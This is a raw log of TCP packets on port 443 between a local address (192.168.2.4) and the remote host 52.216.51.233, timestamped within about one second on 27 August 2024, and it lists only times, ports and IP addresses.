Aug 27, 2024 13:05:52.212177038 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.212194920 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.212234020 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.212240934 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.212264061 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.212285995 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.212929010 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.212944031 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.212987900 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.212992907 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.213021040 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.213033915 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.213232040 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.213248968 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.213299036 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.213303089 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.213341951 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.297542095 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.297590017 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.297610998 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.297616005 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.297641039 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.297653913 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.297947884 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.297960997 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.297997952 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.298002005 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.298038960 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.299895048 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.299909115 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.299982071 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.299985886 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.300026894 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.300501108 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.300514936 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.300560951 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.300566912 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.300605059 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.301805019 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.301819086 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.301872969 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.301877975 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.301920891 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.302787066 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.302799940 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.302850962 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.302855015 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.302895069 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.303803921 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.303817987 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.303870916 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.303877115 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.303913116 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.304105043 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.304117918 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.304161072 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.304166079 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.304204941 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.307231903 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.388581038 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.388609886 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.388647079 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.388659000 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.388685942 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.388696909 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.388809919 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.388832092 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.388859034 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.388863087 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.388899088 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.388942957 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.390716076 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.390744925 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.390774012 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.390779018 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.390815973 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.390836000 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.392297029 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.392313957 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.392338991 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.392379999 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.392384052 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.392415047 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.392627954 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.392647982 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.392678976 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.392683983 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.392710924 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.392735004 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.393698931 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.393713951 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.393747091 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.393753052 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.393783092 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.393790007 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.394419909 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.394433022 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.394498110 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.394498110 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.394503117 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.394543886 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.394682884 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.394696951 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.394731998 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.394736052 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.394763947 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.394787073 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.479290962 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.479305983 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.479381084 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.479386091 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.479406118 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.479424953 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.479424953 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.479434967 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.479451895 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.479480982 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.481260061 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.481275082 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.481337070 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.481342077 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.481379986 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.484667063 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.484679937 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.484750032 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.484755039 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.484791040 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.485090971 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.485102892 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.485156059 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.485160112 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.485167980 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.485198975 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.485208988 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.485213995 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.485254049 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.485673904 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.485687971 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.485738993 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.485742092 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.485773087 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.485793114 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.486565113 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.486578941 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.486613989 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.486623049 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.486639023 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.486661911 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.569974899 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.569988012 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.570038080 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.570044041 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.570067883 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.570087910 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.570297003 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.570308924 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.570348978 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.570353031 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.570378065 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.570393085 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.572025061 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.572037935 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.572101116 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.572105885 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.572144985 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.575453043 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.575468063 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.575541019 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.575547934 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.575591087 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.576061010 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.576073885 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.576123953 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.576128006 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.576164961 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.576534033 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.576548100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.576597929 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.576602936 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.576620102 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.576639891 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.577027082 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.577042103 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.577081919 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.577086926 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.577105999 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.577124119 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.577800035 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.577816963 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.577858925 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.577863932 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.577888012 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.577907085 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.660895109 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.660928965 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.660968065 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.660974026 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.660999060 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.661006927 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.661114931 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.661129951 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.661170006 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.661175013 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.661201954 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.661220074 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.662653923 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.662669897 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.662730932 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.662734985 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.662775040 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.666246891 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.666263103 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.666327953 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.666333914 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.666373014 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.666855097 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.666881084 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.666909933 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.666918039 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.666943073 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.666956902 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.667234898 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.667249918 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.667295933 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.667299986 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.667335033 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.667789936 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.667803049 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.667849064 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.667854071 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.667890072 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.668355942 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.668369055 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.668414116 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.668418884 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.668454885 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.751794100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.751806974 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.751895905 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.751902103 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.751940966 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.751964092 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.751976967 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.752012968 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.752017021 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.752038956 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.752060890 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.753735065 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.753755093 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.753813982 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.753818989 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.753859043 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.757147074 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.757162094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.757230043 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.757235050 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.757275105 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.757692099 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.757707119 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.757770061 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.757776022 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.757814884 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.758275986 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.758291960 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.758502007 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.758507013 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.758552074 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.759761095 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.759776115 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.759839058 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.759845018 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.759884119 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.760142088 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.760158062 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.760210991 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.760215998 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.760253906 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.842510939 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.842525005 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.842621088 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.842628956 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.842801094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.842816114 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.842871904 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.842875957 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.843280077 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.844304085 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.844316006 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.844373941 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.844382048 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.844803095 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.847652912 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.847666979 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.847717047 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.847722054 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.847748995 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.847769976 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.848335981 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.848349094 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.848401070 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.848406076 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.848793983 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.848849058 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.848861933 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.848906040 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.848911047 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.849196911 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.850395918 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.850409031 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.850460052 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.850462914 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.850840092 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.850862026 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.850874901 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.850919008 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.850924015 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.851250887 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.933182955 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.933197975 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.933286905 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.933301926 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.933444977 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.933466911 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.933507919 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.933511972 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.933526039 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.933552980 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.935081959 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.935096025 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.935153008 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.935158968 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:52.935544968 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:52.938242912 CEST	443	49733	52.216.51.233	192.168.2.4
